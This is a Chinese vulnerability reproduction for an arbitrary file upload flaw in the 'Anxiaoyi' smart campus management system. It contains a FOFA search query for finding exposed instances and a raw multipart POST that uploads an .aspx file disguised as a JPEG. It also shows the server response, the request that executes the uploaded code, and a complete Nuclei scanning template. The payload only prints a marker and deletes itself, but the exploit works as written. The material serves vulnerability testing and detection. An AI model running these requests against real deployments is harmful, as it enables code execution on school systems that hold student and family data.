智慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传漏洞复现

title="智慧综合管理平台登入"

POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Content-Length: 288Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,Connection: closeContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlylX-Requested-With: XMLHttpRequestAccept-Encoding: gzip
------dqdaieopnozbkapjacdbdthlvtlylContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"Content-Type: image/jpeg
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>------dqdaieopnozbkapjacdbdthlvtlyl--

HTTP/1.1 200 OKConnection: closeCache-Control: privateContent-Type: text/html; charset=utf-8Date: Fri, 24 May 2024 09:02:14 GMTServer: Microsoft-IIS/10.0Set-Cookie: ASP.NET_SessionId=gps21t325n1otfq120svjjun; path=/; HttpOnly; SameSite=LaxVary: Accept-EncodingX-Aspnet-Version: 4.0.30319X-Powered-By: ASP.NET
{'saveName':'update.aspx','MD5':'e25517c4a27a81170ba1c7e3aa81fcd9'}

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

HTTP/1.1 200 OKConnection: closeContent-Length: 138Cache-Control: privateContent-Encoding: gzipContent-Type: text/html; charset=utf-8Date: Fri, 24 May 2024 09:02:14 GMTServer: Microsoft-IIS/10.0Vary: Accept-EncodingX-Aspnet-Version: 4.0.30319X-Powered-By: ASP.NET
aitwpovoxwtgixpfqiys

id: anxiaoyi-FileUpProductupdate-fileupload
info:  name: 智慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传漏洞  author: fgz  severity: critical  description: “安校易”是银达云创公司基于多年教育市场信息化建设经验沉淀，经过充分的客户需求调研，并依据国家“十三五”教育信息化建设规范而推出的综合互联网+教育信息化解决方案。“安校易”以物联网技术为基础，以学生在校“学食住行”管理为中心，将消费管理、门禁管理、各类学生出入管理、家校互通、校门口进出身份识别等系统进行集成，有效减少校园管理盲点，提升校园安全防范与管理水平。同时，“安校易”又以大数据、人脸识别技和移动互联网为核心技术，以“安全·安心·沟通”为核心诉求，在教育局、学校、家长之间构建一个和谐高效和智慧的沟通互动平台，促进教育合力和智慧教育生态体系成型，做到让学校管理安全、让老师管理快捷、让领导科学决策和让家长安心放心。该系统FileUpProductupdate.aspx接口处存在任意文件上传漏洞，容易导致系统被远控。  metadata:    max-request: 1    fofa-query: title="智慧综合管理平台登入"    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}"  file_content: "{{to_lower(rand_text_alpha(20))}}"  rboundary: "{{to_lower(rand_text_alpha(29))}}"requests:  - raw:      - |+        POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0        Accept: application/json, text/javascript, */*; q=0.01        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,        X-Requested-With: XMLHttpRequest        Content-Type: multipart/form-data; boundary=----{{rboundary}}        Connection: close                ------{{rboundary}}        Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"        Content-Type: image/jpeg                <%@Page Language="C#"%><%Response.Write("{{file_content}}");System.IO.File.Delete(Request.PhysicalPath);%>        ------{{rboundary}}--
      - |        GET /Upload/Publish/000000/0_0_0_0/update.aspx HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip
    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"